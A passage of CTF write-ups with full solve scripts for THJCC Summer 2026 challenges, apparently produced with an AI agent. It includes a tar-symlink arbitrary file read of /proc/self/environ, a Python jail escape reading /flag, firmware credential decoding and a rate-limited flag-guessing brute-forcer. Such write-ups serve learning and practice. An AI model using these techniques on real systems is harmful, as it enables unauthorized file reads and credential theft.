def submit(token, cid, lon, lat):
 flag = f"THJCC{{{lon:.2f},{lat:.2f}}}"
 req = urllib.request.Request(
 API, data=f'{{"challenge_id":{cid},"submission":"{flag}"}}'.encode(),
 headers={"Content-Type": "application/json", "Authorization": f"Token {token}",
 "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36"},
 method="POST")
 with urllib.request.urlopen(req, timeout=20) as r:
 import json
 return json.load(r)["data"]["status"]

def main():
 ap = argparse.ArgumentParser()
 ap.add_argument("--challenge", type=int, default=59)
 ap.add_argument("--token", required=True)
 ap.add_argument("lon", type=float); ap.add_argument("lat", type=float)
 args = ap.parse_args()
 order = [(0,0),(0,1),(0,-1),(1,0),(-1,0),(1,1),(1,-1),(-1,1),(-1,-1)]
 for dlon, dlat in order:
 lon, lat = round(args.lon + dlon*0.01, 2), round(args.lat + dlat*0.01, 2)
 st = submit(args.token, args.challenge, lon, lat)
 print(f"THJCC{{{lon},{lat}}} -> {st}", flush=True)
 if st in ("correct", "already_solved"):
 print("FOUND"); return
 time.sleep(8) # 平台限速 ~10 次/分；ratelimited 时本次未判定，sleep 后重发同格
 print("not found in grid")

if __name__ == "__main__":
 main()

Time Machine（Misc） Flag：THJCC{th3_v3r1f13r_ch3ck3d_th3_n4m3_but_n0t_th3_l1nkn4m3}

zip symlink 落盘变普通文件（3.11 extractall 不建链接），tar symlink 保留 → snapshot 的 shutil.make_archive 解引用链接读 /proc/self/environ 拿 FLAG。

📜 Time Machine solve.py（70 行，核心 build_tar@2102）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70


#!/usr/bin/env python3
"""Time Machine (THJCC Summer 2026, Misc 500) — one-shot solve.

Vuln: restored tar symlinks are dereferenced by shutil.make_archive when the
"Take snapshot" button is hit, giving an arbitrary file read from the server.
The flag lives in the app environment (FLAG=...), so read /proc/self/environ.

Usage: python3 solve.py [host] [port] (defaults: chal.thjcc.org 9005)
"""
import io
import re
import sys
import tarfile
import uuid
import zipfile
import urllib.request
import urllib.parse

HOST = sys.argv[1] if len(sys.argv) > 1 else "chal.thjcc.org"
PORT = sys.argv[2] if len(sys.argv) > 2 else "9005"
BASE = f"http://{HOST}:{PORT}"


def build_tar(links):
 """Tar containing only symlink entries: {name_in_archive: absolute_target}."""
 buf = io.BytesIO()
 with tarfile.open(fileobj=buf, mode="w") as tf:
 for name, target in links.items():
 info = tarfile.TarInfo(name)
 info.type = tarfile.SYMTYPE
 info.linkname = target
 tf.addfile(info)
 return buf.getvalue()


def upload(opener, data, filename):
 boundary = "----tm" + uuid.uuid4().hex
 body = (
 f"--{boundary}\r\n"
 f'Content-Disposition: form-data; name="archive"; filename="{filename}"\r\n'
 f"Content-Type: application/octet-stream\r\n\r\n"
 ).encode() + data + f"\r\n--{boundary}--\r\n".encode()
 req = urllib.request.Request(
 BASE + "/restore", data=body, method="POST",
 headers={"Content-Type": f"multipart/form-data; boundary={boundary}"},
 )
 opener.open(req) # 302 back to /


def main():
 # Fresh cookie jar => fresh per-session holdings dir.
 opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor())

 upload(opener, build_tar({"leak_env": "/proc/self/environ"}), "leak.tar")

 # Snapshot = shutil.make_archive("snapshot", "zip", holdings_dir); zipfile
 # follows the symlink, so snapshot.zip contains the target's content.
 zipdata = opener.open(BASE + "/snapshot").read()

 with zipfile.ZipFile(io.BytesIO(zipdata)) as z:
 env = z.read("leak_env").decode(errors="replace")
 m = re.search(r"FLAG=([^\x00]+)", env)
 if not m:
 print("[!] FLAG not found. Raw env:", env)
 sys.exit(1)
 print(m.group(1))


if __name__ == "__main__":
 main()

Starry Sky（Forensics｜主 agent 亲解） Flag：THJCC{c0unt1ng_blu3s_by_thr33s}

PNG tEXt Comment 藏提示（“a single byte lifts it… which grains to read, and how far apart”）→ B 通道 LSB 按 stride=5 采样 → packbits → XOR 0x5A（依赖 numpy/Pillow）。

📜 Starry Sky solve.py（30 行）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30


#!/usr/bin/env python3
"""THJCC Summer 2026 - Starry Sky (Forensic) 一键复现
B 通道 LSB 位面按 stride=5 采样 -> 8 位组字节 -> XOR 0x5A -> flag
用法: python3 solve.py [image.png]
"""
import sys
import numpy as np
from PIL import Image

KEY = 0x5A
STRIDE = 5


def main():
 path = sys.argv[1] if len(sys.argv) > 1 else "challenge.png"
 im = Image.open(path).convert("RGB")
 a = np.asarray(im)
 bits = (a[..., 2] >> 0) & 1 # B 通道 LSB
 sampled = bits.flatten()[::STRIDE]
 n = len(sampled) - len(sampled) % 8
 nb = np.packbits(sampled[:n].astype(np.uint8))
 dec = bytes(int(v) ^ KEY for v in nb)
 end = dec.find(b"}") + 1
 flag = dec[:end].decode() if end > 0 else dec.decode(errors="replace")
 print(flag)
 return 0 if flag.endswith("}") else 1


if __name__ == "__main__":
 sys.exit(main())

Baritone（Misc｜主 agent 亲解） Flag：THJCC{DoYouHavePerfectPitch}

16.2s mp3 每 0.5s 一个 12-TET 纯音符 = midi 值当 ASCII。必须全频段扫描： {≈9950Hz、}≈11168Hz，f<6000 的滤波会丢高频字符（依赖 numpy/scipy/ffmpeg）。

📜 Baritone solve.py（52 行）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52


#!/usr/bin/env python3
"""THJCC Summer 2026 - Baritone (Misc) 一键复现
每 0.5s 一个 12-TET 纯音符，频率 -> midi 值 -> 直接当 ASCII。
用法: python3 solve.py [audio.wav|audio.mp3]
"""
import sys
import numpy as np
from scipy.io import wavfile
from scipy import signal as sig


def load_wav(path):
 if path.endswith(".mp3"):
 import subprocess, tempfile, os
 fd, tmp = tempfile.mkstemp(suffix=".wav")
 os.close(fd)
 subprocess.run(["ffmpeg", "-y", "-i", path, "-ac", "1", "-ar", "44100", tmp],
 check=True, capture_output=True)
 sr, data = wavfile.read(tmp)
 os.unlink(tmp)
 else:
 sr, data = wavfile.read(path)
 if data.ndim > 1:
 data = data.mean(axis=1)
 return sr, data.astype(np.float64)


def main():
 path = sys.argv[1] if len(sys.argv) > 1 else "baritone.mp3"
 sr, data = load_wav(path)
 slot = sr // 2 # 0.5s 一个符号
 n_slots = int(len(data) / slot)
 chars = []
 for i in range(n_slots):
 seg = data[i * slot:(i + 1) * slot]
 f, P = sig.periodogram(seg, sr, nfft=131072)
 m = (f > 60) & (f < 18000) # 必须全频段，高频字符音符（'{'~10kHz, '}'~11kHz）
 fb, Pb = f[m], P[m]
 k = np.argmax(Pb)
 midi = round(69 + 12 * np.log2(fb[k] / 440.0))
 if 32 <= midi < 127:
 chars.append(chr(midi))
 text = "".join(chars)
 start = text.find("THJCC{")
 end = text.find("}", start)
 flag = text[start:end + 1] if start >= 0 and end > start else text
 print(flag)
 return 0 if flag.startswith("THJCC{") and flag.endswith("}") else 1


if __name__ == "__main__":
 sys.exit(main())

67jail（Misc） Flag：THJCC{676767676767676767676767676767676767676767676767}

全角标识符 NFKC 归一绕字符黑名单，(()==())+<< 构造数字、chr 链读 /flag；远程含 AI 蜜罐（勿交 API key）。

📜 67jail solve.py（128 行，核心 build_payload@2312 / num_expr@2277）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128


#!/usr/bin/env python3
"""67jail 一键复现：token 认证 → [3] Human → nonce → 发 payload 读任意文件。

用法:
 python3 solve.py [host] [port] [path]
默认:
 host=chal.thjcc.org port=9000 path=/flag

依赖 CTFd API token：环境变量 THJCC_TOKEN 或文件 /tmp/thjcc_api_token（ctfd_ 开头 69 字符）。
payload 生成逻辑内嵌（与 gen_payload.py 一致），无需外部文件。

原理（绕过 5 层过滤）:
 1. len==6767 -> 末尾空格垫齐
 2. 禁 '"_`\\# -> 全程不用这些字符
 3. 禁 ASCII 字母数字 -> 全角字符 ｐｒｉｎｔ/ｏｐｅｎ/ｃｈｒ/ｒｅａｄ（tokenizer NFKC 归一成 ASCII 名，
 从 exec globals 的 __builtins__={print,open,chr} 解析），
 数字用 (()==()) 即 True==1，经 + 与 << 位运算拼出任意整数
 4. ';' <= 1 -> 单表达式，无分号
 5. 禁 NFKC 不变的标识符字符 -> 全角字母的 NFKC 归一后是 ASCII（改变），放行
 字符串字面量被禁 -> chr(<num_expr>) 链拼接路径名
"""
import os
import re
import socket
import sys
import time

DEFAULT_HOST = "chal.thjcc.org"
DEFAULT_PORT = 9000
DEFAULT_PATH = "/flag"
TOKEN_FILE = os.environ.get("THJCC_TOKEN", "/tmp/thjcc_api_token")

ONE = "(()==())" # True == 1


def num_expr(n: int) -> str:
 """只用 ONE/+/<</括号 构造整数 n（二进制分解，位移用递归）。"""
 if n == 0:
 return "(()-())" # False == 0（备用）
 parts = []
 i = 0
 while n:
 if n & 1:
 parts.append(ONE if i == 0 else "(" + ONE + "<<(" + num_expr(i) + "))")
 n >>= 1
 i += 1
 return "+".join(parts)


def string_expr(s: str) -> str:
 """chr 链拼出字符串 s（绕开引号与 ASCII 字母数字）。"""
 return "+".join("ｃｈｒ(" + num_expr(ord(c)) + ")" for c in s)


def build_payload(path: str, total: int = 6767) -> str:
 src = "ｐｒｉｎｔ(ｏｐｅｎ(" + string_expr(path) + ").ｒｅａｄ())"
 assert len(src) <= total, f"payload too long: {len(src)} > {total}"
 return src + " " * (total - len(src)) # 空格垫到 6767


def recv_until(sock, marker: bytes, timeout: float = 10) -> bytes:
 sock.settimeout(timeout)
 buf = b""
 while marker not in buf:
 try:
 d = sock.recv(4096)
 except socket.timeout:
 break
 if not d:
 break
 buf += d
 return buf


def drain(sock, seconds: float) -> bytes:
 sock.settimeout(seconds)
 buf = b""
 try:
 while True:
 d = sock.recv(4096)
 if not d:
 break
 buf += d
 except socket.timeout:
 pass
 return buf


def handshake(sock) -> None:
 """token -> [3] Human -> nonce -> 到达 jail 的 '>> ' 提示符。"""
 tok = open(TOKEN_FILE).read().strip()
 recv_until(sock, b"token: ")
 sock.sendall(tok.encode() + b"\n")
 recv_until(sock, b"number: ")
 sock.sendall(b"3\n") # [3] Human
 buf = recv_until(sock, b"nonce: ")
 m = re.search(rb"Please enter (\d+)", buf)
 if not m:
 raise RuntimeError(f"no nonce in: {buf!r}")
 sock.sendall(m.group(1) + b"\n")
 buf = recv_until(sock, b">> ")
 if b"Correct!!!" not in buf:
 raise RuntimeError(f"gate failed: {buf!r}")


def solve(host: str, port: int, path: str, retries: int = 3) -> str:
 payload = build_payload(path)
 for attempt in range(1, retries + 1):
 try:
 s = socket.create_connection((host, port), timeout=15)
 handshake(s)
 s.sendall(payload.encode() + b"\n")
 out = drain(s, 15)
 s.close()
 return out.decode(errors="replace")
 except (OSError, RuntimeError) as e:
 print(f"[*] attempt {attempt} failed: {e}", file=sys.stderr)
 time.sleep(2)
 raise SystemExit("[-] all attempts failed")


if __name__ == "__main__":
 host = sys.argv[1] if len(sys.argv) > 1 else DEFAULT_HOST
 port = int(sys.argv[2]) if len(sys.argv) > 2 else DEFAULT_PORT
 path = sys.argv[3] if len(sys.argv) > 3 else DEFAULT_PATH
 print(f"[*] {host}:{port} reading {path}", file=sys.stderr)
 resp = solve(host, port, path)
 print(resp)

TeaGod666（Misc） Flag：THJCC{t3ag0d666_h77p5://y0u7u.b3/Dji_wUhFPvo?si=z1B9a-4nShzop-du&t=1577}

未授权 /api/update/package 下发自研固件格式 TEAGOD66（b64 段 offset/len 明文嵌 XOR key teashop-666）→ 解出工厂凭据 → logs?level=debug 吐 flag。

📜 TeaGod666 solve.sh（64 行）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64


#!/bin/bash
# TeaGod666 one-shot solve (THJCC CTF Summer 2026, Misc, challenge_id=57)
# Usage: bash solve.sh <CTFD_TOKEN> (or: CTFD_TOKEN=<token> bash solve.sh)
#
# Chain:
# 1. CTF-Instancer create -> private router instance
# 2. Unauthenticated GET /api/update/package -> teagod666-update.bin
# 3. Parse custom firmware format: b64 blob at offset 65 len 172 XOR "teashop-666"
# -> JSON with factory creds admin / oolong_tea_666
# 4. Login -> GET /api/system/logs?level=debug -> flag
# 5. Destroy instance
set -u
TOKEN="${1:-${CTFD_TOKEN:-}}"
[ -z "${TOKEN}" ] && { echo "usage: bash solve.sh <ctfd_token>"; exit 1; }
INST="http://chal.thjcc.org:12025"
JAR=$(mktemp /tmp/tg_jar.XXXXXX)
trap 'rm -f "${JAR}" /tmp/tg_pkg_solve.bin' EXIT

# 1. create instance (three-step, same cookie jar to stay on one backend)
curl -s -m 10 -c "$JAR" -b "$JAR" "$INST/" -o /dev/null
curl -s -m 30 -c "$JAR" -b "$JAR" -X POST "$INST/create" \
 -d "token=${TOKEN}&captcha=" -H "Content-Type: application/x-www-form-urlencoded" -o /dev/null
PAGE=$(curl -s -m 10 -b "$JAR" "$INST/")
PORT=$(echo "$PAGE" | grep -o 'chal\.thjcc\.org:[0-9]*' | head -1 | cut -d: -f2)
[ -z "${PORT:-}" ] && { echo "[-] create failed (re-run; instancer is multi-backend)"; exit 1; }
URL="http://chal.thjcc.org:${PORT}"
echo "[+] instance on port ${PORT}, waiting for HTTP..."
for i in $(seq 1 30); do
 code=$(curl -s -m 5 -o /dev/null -w "%{http_code}" "$URL/" 2>/dev/null)
 [ "$code" != "000" ] && break
 sleep 5
done
[ "$code" = "000" ] && { echo "[-] instance dead (crash-loop?)"; exit 1; }

# 2. fetch "signed" firmware package (no auth required)
curl -s -m 10 "$URL/api/update/package?channel=stable" -o /tmp/tg_pkg_solve.bin
echo "[+] firmware package: $(wc -c < /tmp/tg_pkg_solve.bin) bytes"

# 3. decode: b64 payload @offset 65 len 172, XOR key "teashop-666" (embedded in file)
CREDS=$(python3 << 'PYEOF'
import base64, json
data = open('/tmp/tg_pkg_solve.bin', 'rb').read()
assert data[:8] == b'TEAGOD66', "unexpected magic"
b64_off, b64_len = 65, 172 # header fields 4/5
blob = base64.b64decode(data[b64_off:b64_off + b64_len])
key = b'teashop-666'
plain = bytes(c ^ key[i % len(key)] for i, c in enumerate(blob))
info = json.loads(plain.decode('utf-8', 'replace').strip('\x00'))
print(f"{info['username']}\n{info['password']}")
PYEOF
)
USER=$(echo "$CREDS" | sed -n 1p); PW=$(echo "$CREDS" | sed -n 2p)
echo "[+] factory creds recovered: ${USER} / ${PW}"

# 4. login -> debug logs leak flag
curl -s -m 10 -c "$JAR" -b "$JAR" -X POST "$URL/api/login" \
 -H 'Content-Type: application/json' -d "{\"username\":\"${USER}\",\"password\":\"${PW}\"}" | grep -q '"ok": *true' || { echo "[-] login failed"; exit 1; }
FLAG=$(curl -s -m 10 -c "$JAR" -b "$JAR" "$URL/api/system/logs?level=debug" \
 | grep -o 'THJCC{[^}]*}' | head -1)
echo "[+] FLAG: ${FLAG}"

# 5. cleanup
curl -s -m 20 -c "$JAR" -b "$JAR" -X POST "$INST/destroy" -o /dev/null
echo "[+] instance destroyed"

NoNo（Forensics） Flag：THJCC{f0ll0w_th3_str34m_2_th3_h1dd3n_r3p0rt}

日志是藏宝图：唯一异常请求（Host 切 internal.portal + 结尾斜杠 301）重放到活实例。

📜 NoNo solve.py（113 行，核心 analyze_logs@2500 / fetch_hidden_report@2537）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113


#!/usr/bin/env python3
"""THJCC Summer 2026 - NoNo (Forensic) solver.

Solution chain (all steps reproducible from this script):

1. Parse the three NDJSON logs + pcap; verify the dataset is deterministic
 noise except ONE structural anomaly:
 2025-08-15T03:13:24Z 10.0.2.15 Host: internal.portal GET /s3cr3t/rep0rt -> 200
 (the only request whose Host is NOT chal.thjcc.org:50000; path uses zero in
 "rep0rt" vs the decoy /s3cr3t/report "o").
2. The challenge host named in the description (chal.thjcc.org:50000) is a
 LIVE static instance: replay the hidden request with the internal vhost
 Host header -> 301 -> fetch /s3cr3t/rep0rt/ (trailing slash!) -> the
 Quarterly Access Report page contains the flag ("report token").

Usage:
 python solve.py [challenge-dir] [--host chal.thjcc.org] [--port 50000]
"""
import argparse
import http.client
import json
import re
import sys
from collections import Counter
from pathlib import Path

FLAG_RE = re.compile(r"THJCC\{[^}]*\}")


def load_ndjson(path):
 return [json.loads(l) for l in open(path, encoding="utf-8") if l.strip()]


def analyze_logs(base):
 """Verify the anomaly and print the evidence chain."""
 ng = sorted(load_ndjson(base / "nginx-access.ndjson"), key=lambda r: r["@timestamp"])
 ms = load_ndjson(base / "modsec-waf.ndjson")
 pa = load_ndjson(base / "portal-app.ndjson")

 slots = [r["@timestamp"] for r in ng]
 assert len(set(slots)) == len(slots), "double-booked slots?"

 # carousel: rows after the preamble are a 15x30 loop; every column is a
 # function of (url, slot) -> pure noise
 car = [r for r in ng if r["@timestamp"] >= "2025-08-15T03:13:40Z"]
 rounds = [tuple((r["url.original"], r["http.request.method"],
 r["http.response.status_code"], r["http.response.body.bytes"])
 for r in car[i:i + 30]) for i in range(0, len(car), 30)]
 assert len(rounds) == 15 and all(rd == rounds[0] for rd in rounds[1:])
 ips_ok = all(car[i]["source.ip"] == car[i % 8]["source.ip"] for i in range(len(car)))

 # THE anomaly: url.domain != chal.thjcc.org:50000
 odd = [r for r in ng if r["url.domain"] != "chal.thjcc.org:50000"]
 # modsec/portal align to nginx timestamps and are periodic subsets
 ng_ts = {r["@timestamp"] for r in ng}
 assert all(r["@timestamp"] in ng_ts for r in ms + pa)

 print(f"[+] nginx rows: {len(ng)}; carousel 15x30 identical: True; IP==i%8: {ips_ok}")
 print(f"[+] modsec rows: {len(ms)} (7 preamble + 15x18 detectable); "
 f"portal rows: {len(pa)} (17 preamble + 15x13 app routes)")
 print(f"[+] url.domain anomaly rows: {len(odd)}")
 for r in odd:
 print(f" !! {r['@timestamp']} {r['source.ip']} Host={r['url.domain']} "
 f"{r['http.request.method']} {r['url.original']} -> "
 f"{r['http.response.status_code']} ({r['http.response.body.bytes']}B)")
 assert len(odd) == 1 and odd[0]["url.original"] == "/s3cr3t/rep0rt"
 print("[+] decoys in preamble: /flag, /s3cr3t/report (letter o!), /api/v1/flag, /.git/config")
 return odd[0]


def fetch_hidden_report(host, port, path="/s3cr3t/rep0rt"):
 """Replay the hidden request against the live instance (vhost switch).

 Uses http.client so the 301 -> http://internal.portal:50000/... redirect
 is NOT followed automatically (that hostname only resolves inside the
 story); the caller retries with the trailing-slash path instead.
 """
 conn = http.client.HTTPConnection(host, port, timeout=20)
 try:
 conn.request("GET", path, headers={"Host": "internal.portal"})
 resp = conn.getresponse()
 return resp.status, resp.read().decode("utf-8", "replace")
 finally:
 conn.close()


def main():
 ap = argparse.ArgumentParser()
 ap.add_argument("dir", nargs="?", default=str(Path(__file__).parent))
 ap.add_argument("--host", default="chal.thjcc.org")
 ap.add_argument("--port", type=int, default=50000)
 args = ap.parse_args()
 base = Path(args.dir).resolve()

 analyze_logs(base)
 print(f"\n[*] replaying hidden request against live instance {args.host}:{args.port} ...")
 try:
 for path in ("/s3cr3t/rep0rt", "/s3cr3t/rep0rt/"):
 status, body = fetch_hidden_report(args.host, args.port, path)
 m = FLAG_RE.search(body)
 print(f" GET {path} (Host: internal.portal) -> HTTP {status} "
 f"{'FLAG: ' + m.group(0) if m else '(redirect/page, no flag inline)'}")
 if m:
 print(f"\n[+] FLAG: {m.group(0)}")
 return 0
 except OSError as e:
 print(f" network error: {e}")
 print("[-] live instance unreachable or flag moved (offline analysis still valid)")
 return 1


if __name__ == "__main__":
 sys.exit(main())

Man!（Forensics） Flag：THJCC{Man_BA_0ut_Seeyouaga1n_1978}

PNG IEND 后 ZipCrypto 加密 zip + R 通道 LSB 藏密码 SeeYouAgain1978（Kobe 纪念曲 +出生年）。

📜 Man! solve.py（70 行，核心 extract_lsb_password@2618）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70


#!/usr/bin/env python3
"""THJCC Summer 2026 - Man! (Forensics) 一键复现脚本

链：PNG IEND 尾部附加 ZipCrypto 加密 zip（flag.txt）→ R 通道 LSB 藏 zip 密码
 "SeeYouAgain1978"（Kobe 纪念曲 See You Again + 出生年 1978）→ 解密得 flag。

用法：python3 solve.py [final_koby_challenge.png]
依赖：pip install pillow
"""
import struct
import sys
import zipfile
from pathlib import Path

from PIL import Image

PNG_PATH = sys.argv[1] if len(sys.argv) > 1 else "handout/final_koby_challenge.png"


def extract_trailer_zip(png_path: Path) -> bytes:
 """取出 PNG IEND chunk 之后的全部字节（附加 zip）"""
 data = Path(png_path).read_bytes()
 iend = data.rfind(b"IEND")
 assert iend != -1, "no IEND chunk found"
 tail = data[iend + 8 :]
 assert tail.startswith(b"PK\x03\x04"), "no zip in trailer"
 return tail


def extract_lsb_password(png_path: Path) -> str:
 """从 R 通道 LSB 逐行取位，读回首个可打印 ASCII 串（zip 密码）"""
 im = Image.open(png_path).convert("RGB")
 w, h = im.size
 px = im.load()
 bits = []
 for y in range(h):
 for x in range(w):
 bits.append(px[x, y][0] & 1)
 data = bytearray()
 for i in range(0, len(bits) - 7, 8):
 v = 0
 for j in range(8):
 v = (v << 1) | bits[i + j]
 data.append(v)
 out = bytes(data)
 # 截取首个可打印 ASCII 连续段（LSB 后半为图像熵数据，非文本）
 i = 0
 while i < len(out) and (32 <= out[i] < 127 or out[i] in (10, 13)):
 i += 1
 return out[:i].decode("ascii", errors="ignore")


def main() -> None:
 png = Path(PNG_PATH)
 tail = extract_trailer_zip(png)

 password = extract_lsb_password(png)
 print(f"[+] LSB(R) password: {password!r}")

 zpath = png.with_name("_trailer.zip")
 zpath.write_bytes(tail)
 with zipfile.ZipFile(zpath) as zf:
 flag = zf.read("flag.txt", pwd=password.encode()).decode().strip()
 zpath.unlink(missing_ok=True)
 print(f"[+] flag: {flag}")
 assert flag.startswith("THJCC{") and flag.endswith("}")


if __name__ == "__main__":
 main()

Afterimage2（Forensics） Flag：THJCC{hid_k3y5tr0k3_l34k}

usbmon 合成 pcap（linktype 220）：56B 头 + 8B HID report；偶数包击键/奇数包释放。

📜 Afterimage2 solve.py（80 行，核心 parse@2709 / decode@2729）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80


#!/usr/bin/env python3
"""THJCC Summer 2026 - Afterimage2 solve script.

Extracts HID keyboard keystrokes from the USB capture (DLT 220, usbmon mmapped
style, but crafted with a 56-byte header + 8-byte HID report per packet).

Packet layout (per packet):
 [0:8] id (synthetic counter)
 [8:16] type/xfer_type/epnum/devnum/busnum/flags
 [16:24] ts_sec
 [24:32] ts_usec/status
 [32:40] length/len_cap
 [40:48] setup
 [48:56] interval/start_frame
 [64:72] 8-byte HID keyboard report: modifier, reserved, key0..key5
"""
import struct
from pathlib import Path

HERE = Path(__file__).parent

# USB HID usage ID -> character (unshifted / shifted)
HID = {
 0x04: ('a', 'A'), 0x05: ('b', 'B'), 0x06: ('c', 'C'), 0x07: ('d', 'D'),
 0x08: ('e', 'E'), 0x09: ('f', 'F'), 0x0a: ('g', 'G'), 0x0b: ('h', 'H'),
 0x0c: ('i', 'I'), 0x0d: ('j', 'J'), 0x0e: ('k', 'K'), 0x0f: ('l', 'L'),
 0x10: ('m', 'M'), 0x11: ('n', 'N'), 0x12: ('o', 'O'), 0x13: ('p', 'P'),
 0x14: ('q', 'Q'), 0x15: ('r', 'R'), 0x16: ('s', 'S'), 0x17: ('t', 'T'),
 0x18: ('u', 'U'), 0x19: ('v', 'V'), 0x1a: ('w', 'W'), 0x1b: ('x', 'X'),
 0x1c: ('y', 'Y'), 0x1d: ('z', 'Z'),
 0x1e: ('1', '!'), 0x1f: ('2', '@'), 0x20: ('3', '#'), 0x21: ('4', '$'),
 0x22: ('5', '%'), 0x23: ('6', '^'), 0x24: ('7', '&'), 0x25: ('8', '*'),
 0x26: ('9', '('), 0x27: ('0', ')'),
 0x28: ('\n', '\n'), 0x29: ('<ESC>', '<ESC>'), 0x2a: ('<BS>', '<BS>'),
 0x2b: ('\t', '\t'), 0x2c: (' ', ' '),
 0x2d: ('-', '_'), 0x2e: ('=', '+'), 0x2f: ('[', '{'), 0x30: (']', '}'),
 0x31: ('\\', '|'), 0x33: (';', ':'), 0x34: ("'", '"'), 0x35: ('`', '~'),
 0x36: (',', '<'), 0x37: ('.', '>'), 0x38: ('/', '?'),
 0x4f: ('<RIGHT>', '<RIGHT>'), 0x50: ('<LEFT>', '<LEFT>'),
 0x51: ('<DOWN>', '<DOWN>'), 0x52: ('<UP>', '<UP>'),
}

def parse(pcap: Path):
 data = pcap.read_bytes()
 magic, vmaj, vmin, tz, sig, snaplen, net = struct.unpack('<IHHiIII', data[:24])
 assert magic == 0xA1B2C3D4 and net == 220, f"unexpected: {magic:#x} linktype={net}"
 keys = [] # (idx, modifier, hid_usage, report_hex)
 off = 24
 idx = 0
 while off + 16 <= len(data):
 ts_sec, ts_usec, incl, orig = struct.unpack('<IIII', data[off:off + 16])
 pkt = data[off + 16:off + 16 + incl]
 report = pkt[64:72]
 modifier, reserved = report[0], report[1]
 usages = report[2:]
 for u in usages:
 if u:
 keys.append((idx, modifier, u, report.hex(' ')))
 idx += 1
 off += 16 + incl
 return keys

def decode(keys):
 out = []
 for idx, mod, u, _ in keys:
 shifted = bool(mod & 0x02) or bool(mod & 0x20) # left/right shift
 if u in HID:
 ch = HID[u][1 if shifted else 0]
 else:
 ch = f'<?{u:02x}>'
 out.append(ch)
 return ''.join(out)

if __name__ == '__main__':
 keys = parse(HERE / 'usb_capture.pcap')
 print(f"keystroke events: {len(keys)}")
 for k in keys:
 print(f" pkt {k[0]:3d} mod={k[1]:#04x} usage={k[2]:#04x} report={k[3]}")
 flag = decode(keys)
 print(f"\nflag = {flag}")

A Little Penguin’s Starry Sky Observation（Misc） Flag：THJCC{ori=RA5h,Dec+5°}

照片天测定标：本地 astrometry.net 盲解（尺度 115-170 arcsec/pix + Tycho-2 4100 索引）锁定猎户座区域。注意盲解给出的是裁切中心（约 5h36m,+1.2°），flag 答案取维基百科信息框的取整值（RA5h,Dec+5°）。判读部分人工（豁免），流水线 starry-sky/solve.sh：

📜 starry-sky solve.sh（41 行）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41


#!/bin/bash
# THJCC Summer 2026 - "A Little Penguin's Starry Sky Observation" 一键复现
# 依赖: solve-field (brew install astrometry-net), curl
# 流程: 附件(可选从平台下载) -> 4100 索引系列 -> 盲解 -> 输出 flag
set -e
cd "$(dirname "$0")"

IMG="input.jpg"
if [ ! -f "${IMG}" ]; then
 if [ -f "handout/Starry_Sky_Observation.jpeg" ]; then
 cp handout/Starry_Sky_Observation.jpeg "${IMG}"
 else
 echo "[*] 需要附件 input.jpg（平台下载需 cf_clearance，见简报；本地测试请放入本目录）" >&2
 exit 1
 fi
fi

# 1. 下载 Tycho-2 宽场索引系列 (index-4107..4119, ~250MB)
IDXDIR="idx4100"
if [ ! -d "${IDXDIR}" ] || ! ls "${IDXDIR}"/index-41*.fits >/dev/null 2>&1; then
 mkdir -p "${IDXDIR}"
 echo "[*] 下载 4100 索引系列..."
 for i in 4107 4108 4109 4110 4111 4112 4113 4114 4115 4116 4117 4118 4119; do
 [ -f "${IDXDIR}/index-${i}.fits" ] || \
 curl -sk -m 600 -o "${IDXDIR}/index-${i}.fits" "https://data.astrometry.net/4100/index-${i}.fits"
 done
fi

